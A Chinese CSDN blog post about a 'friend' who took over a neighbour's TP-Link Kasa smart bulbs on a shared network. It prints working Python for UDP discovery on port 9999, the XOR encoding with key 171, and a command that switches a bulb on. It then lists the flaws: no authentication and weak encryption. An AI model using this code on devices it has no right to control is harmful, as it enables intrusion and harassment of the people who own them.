我写了个脚本控制邻居智能灯泡？从恶作剧到智能家居安全启示录（下）-CSDN博客

本文链接：https://blog.csdn.net/zhuhelong520/article/details/147412798

“我让邻居的灯泡闪了两天。”
——某位技术爱好者的灵魂发言

我有一个朋友，某天突发奇想：能不能用脚本控制邻居家的智能灯泡？乍一听像是都市传说，直到他真的动手做了……

在真实的网络环境中，只要智能设备默认暴露在局域网、没有认证机制，再加上使用明文或弱加密协议，这样的“黑科技恶作剧”完全有可能上演。

他的整个经历让我很感兴趣，我也整理了他的操作流程、通信协议解析，并从网络安全角度进行了复盘和分析。

🧪 一、设备扫描：他是怎么找到邻居的灯泡的？

朋友一边喝着茶一边嘀咕：邻居家的灯泡也太亮了，大晚上的也太刺眼了？

于是他打开电脑，开始搞事情。

第一步，他用 UDP 广播消息在局域网里扔了个“问卷”——有灯泡的设备都会“举手”回应。只要你监听 9999 端口，发出一条类似 get_sysinfo 的消息，就能筛出网络中响应的设备。

而他的目标是：能听懂 Kasa 协议的设备，也就是 TP-Link 家的智能灯。

找到回应之后，他用 Wireshark 看了看回应内容，发现这些设备毫无防备、诚实回应，连设备名称和型号都主动报上来了……属实有点“太讲武德”。

示例代码：UDP 扫描

import socket

def discover():
    msg = b'{"system":{"get_sysinfo":{}}}'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    sock.sendto(msg, ('<broadcast>', 9999))

当然，Kasa 的协议实际是 XOR 编码后的 JSON，我们后续还会讲到这一点。

📡 二、协议逆向：Kasa 的“一本正经的加密术”

朋友接着分析这些回应消息的内容，发现居然不是明文 JSON，而是一堆看起来像乱码的字节流。于是他皱了皱眉，开始对这个“假装安全”的协议动手了。

结果一分析，顿时笑出声：这哪是加密？这明明是“写给安全工程师的心理安慰包”。

Kasa 的通信协议用了一个单字节的 XOR 加密，初始 key 是 171，每个字符跟 key 异或一下，然后 key 自己更新为这个字符的异或结果……就这么点事。

朋友大概用不到五分钟就写了个加解密函数，成功还原了这些“加密数据”里的原始 JSON 命令。

通俗讲就是“你戳我一下，我就反手一个字节”。初始 key 是 171，每来一个字符异或一下，然后 key 自己更新，就这样混过去了。

加密函数如下：

def encrypt(string):
    key = 171
    result = b''
    for char in string:
        a = key ^ ord(char)
        key = a
        result += bytes([a])
    return result

协议中传送的 JSON 长得像这样：

{
  "system": {
    "set_relay_state": {
      "state": 1
    }
  }
}

翻译成人话：灯泡，给我亮起来。

💡 三、点亮灯泡：一发数据包，邻居家变舞厅

朋友把解密出来的 JSON 再加密回去，打包成 UDP 数据包后朝灯泡的 IP 一扔，事情就发生了。

原本平平无奇的一台智能灯泡，瞬间变成了他指挥下的“小跟班”。他手里握着控制命令，灯泡想亮就亮，想灭就灭——堪比法术控制。

他还试过多台一起闪：一个简单的循环控制程序，邻居卧室直接变成了“小型蹦迪房”。

当然他最后还是手下留情，没有做太出格的事……主要是怕对面报警。

示例代码：开灯

import socket

def encrypt(string):
    key = 171
    result = b''
    for char in string:
        a = key ^ ord(char)
        key = a
        result += bytes([a])
    return result

payload = '{"system":{"set_relay_state":{"state":1}}}'
data = encrypt(payload)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(data, ("192.168.0.105", 9999))

几行 Python 写完，朋友盯着屏幕一摁回车——Boom，隔壁房间瞬间亮了。

而我：……最让人震惊的是：没有认证、没有绑定，甚至不需要连接蓝牙。

🚨 四、安全问题盘点：你以为是段子，其实是漏洞合集

故事看到这里，是不是觉得这位朋友有点“黑客天赋”？但其实他最应该去的不是 DEFCON，而是安全培训班。

因为他说：“我只是用了点广播，发了个包，灯就亮了。”

对，就是这么简单。但问题就也在这。

这段“恶作剧”暴露出了智能设备设计中那些让人抓狂的安全漏洞：认证、加密、通信方式，几乎是能踩的雷一个没落下。

问题	说明
无认证机制	没有身份校验，任何人都可以发送命令
XOR加密过于简单	极易逆向，无法防御基本嗅探
UDP 广播无连接	无握手、无认证、易被欺骗
用户缺乏安全意识	默认设置未修改，暴露攻击面